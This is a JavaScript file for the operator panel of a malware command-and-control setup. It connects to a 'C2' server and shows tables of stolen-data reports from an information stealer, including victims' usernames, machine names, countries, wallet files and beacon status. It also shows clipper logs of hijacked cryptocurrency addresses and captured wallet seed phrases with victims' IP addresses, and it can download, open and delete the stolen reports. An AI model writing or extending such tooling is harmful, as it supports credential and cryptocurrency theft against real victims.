
function updateServerStatus(perf) {
    let status = `CPU load ${perf['cpu']}%<br>RAM load ${perf['ram']['percent']}%<br>DISK load ${perf['disk']['percent']}%<br>`;
    document.getElementById('server-nav').setAttribute('uk-tooltip', `title: ${status}; pos: top-right`);
}

async function downloadReport(self) {
    let uuid = self.parentElement.parentElement.getAttribute('uuid');
    let name = document.querySelector(`tr[uuid="${uuid}"]`).children[1].textContent + '.wsr'
    console.log('Download report: ' + uuid);
    self.children[0].setAttribute('icon', 'eos-icons:loading');
    let response = await eel.c2_download_report(uuid)();
    if (response['status']) {
        downloadFile(name, response['data'], true);
    } else {
        notification(response['message'], 'heroicons-outline:status-offline')
    }
    self.children[0].setAttribute('icon', 'material-symbols:download');
}

async function openReport(self) {
    let uuid = self.parentElement.parentElement.getAttribute('uuid');
    let name = document.querySelector(`tr[uuid="${uuid}"]`).children[1].textContent + '.wsr'
    console.log('Open report: ' + uuid);
    let response = await eel.c2_get_internal_download_url(uuid, name)();
    eel.Report(response)();
}

async function deleteReport(self) {
    let uuid = self.parentElement.parentElement.getAttribute('uuid');
    console.log('Remove report: ' + uuid);
    let response = await eel.c2_remove_report(uuid)();
    if (response['status']) {
        self.parentElement.parentElement.remove();
    } else {
        notification(response['message'], 'heroicons-outline:status-offline');
    }
}

function appendClipperReport(uuid, tag, country, username, pcname, from, to, coin, date=0) {
    let table_body = document.getElementById('clipper_table_body');
    let content = `
<tr uuid="${encodeHTML(uuid)}">
    <td>${encodeHTML(tag)}</td>
    <td>${encodeHTML(username)}@${encodeHTML(pcname)}</td>
    <td>${encodeHTML(country)}</td>
    <td>${encodeHTML(coin)}</td>
    <td>${encodeHTML(from)}</td>
    <td>${encodeHTML(to)}</td>
    <td>${encodeHTML(date)}</td>
</tr>`;
    table_body.insertAdjacentHTML('afterbegin', content);
}



const beacon_marker = '<iconify-icon icon="grommet-icons:beacon" uk-tooltip="title: Beacon installed sucessfully; pos: bottom"></iconify-icon>';
const wallets_marker = '<iconify-icon icon="grommet-icons:bitcoin" uk-tooltip="title: Report contains wallet files; pos: bottom"></iconify-icon>';
function appendStealerReport(uuid, tag, country, username, pcname, date=0, wallets=false, beacon=false) {
    let table_body = document.getElementById('logs_table_body');
    let content = `
<tr uuid="${encodeHTML(uuid)}">
    <td>${encodeHTML(tag)}</td>
    <td>${encodeHTML(username)}@${encodeHTML(pcname)}</td>
    <td>${encodeHTML(country)}</td>
    <td>${encodeHTML(date.toString())}</td>
    <td>
        ${beacon ? beacon_marker : ''}
        ${wallets ? wallets_marker : ''}
    </td>
    <td>
        <button class="uk-button uk-button-primary uk-button-small" onclick="downloadReport(this);">
            <iconify-icon icon="material-symbols:download"></iconify-icon>
        </button>
        <button class="uk-button uk-button-primary uk-button-small" onclick="openReport(this);">
            <iconify-icon icon="akar-icons:eye-open"></iconify-icon>
        </button>
        <button class="uk-button uk-button-danger uk-button-small" onclick="deleteReport(this);">
            <iconify-icon icon="material-symbols:delete"></iconify-icon>
        </button>
    </td>
</tr>`;

    table_body.insertAdjacentHTML('afterbegin', content);
}

function appendSeedReport(uuid, os_version, ip_address, username, pcname, template, seed, date=0) {
    let table_body = document.getElementById('seeds_table_body');
    let content = `
<tr uuid="${encodeHTML(uuid)}">
    <td>${encodeHTML(username)}@${encodeHTML(pcname)}</td>
    <td>${encodeHTML(os_version)}</td>
    <td>${encodeHTML(ip_address)}</td>
    <td>${encodeHTML(template)}</td>
    <td onclick="copy_text('${seed}');" class="pointer">${encodeHTML(seed.substring(0, 12))}...</td>
    <td>${encodeHTML(date)}</td>
</tr>`;
    table_body.insertAdjacentHTML('afterbegin', content);
}

async function connectServer() {
    let response = await eel.c2_auth()();
    if (!response['status']) {
        notification('C2 connection error', 'subway:error');
        return;
    }
    updateServerStatus(response['perf']);

    console.log(response);

    // Setup stealer reports
    for (let i = 0; i < response['stealer_reports'].length; i++) {
        let r = response['stealer_reports'][i];
        appendStealerReport(
            uuid=r['id'].replaceAll('-', ''),
            tag=r['tag'],
            country=r['country'],
            username=r['username'],
            pcname=r['compname'],
            date=r['upload_date'],
            wallets=r['wallets'],
            beacon=r['beacon']
        )
    }
    // Setup clipper logs
    for (let i = 0; i < response['clipper_reports'].length; i++) {
        let r = response['clipper_reports'][i];
        appendClipperReport(
            uuid=r['id'].replaceAll('-', ''),
            tag=r['tag'],
            country=r['country'],
            username=r['username'],
            pcname=r['compname'],
            from=r['from_address'],
            to=r['to_address'],
            coin=r['coin'],
            date=r['upload_date'],
        );
    }
    // Setup seed logs
    for (let i = 0; i < response['seed_reports'].length; i++) {
        let r = response['seed_reports'][i];
        appendSeedReport(
            uuid=r['id'].replaceAll('-', ''),
            os_version=r['os_version'],
            ip_address=r['ip_address'],
            username=r['username'],
            pcname=r['compname'],
            template=r['template'],
            seed=r['seed'],
            date=r['upload_date'],
        );
    }
}

function hideTables() {
    let tables = ['reports-dashboard-table', 'clipper-dashboard-table', 'seeds-dashboard-table'];
    for (let i = 0; i < tables.length; i++) {
        document.getElementById(tables[i]).style.display = 'none';
    }
}

window.addEventListener('load', (e) => {
    connectServer();
});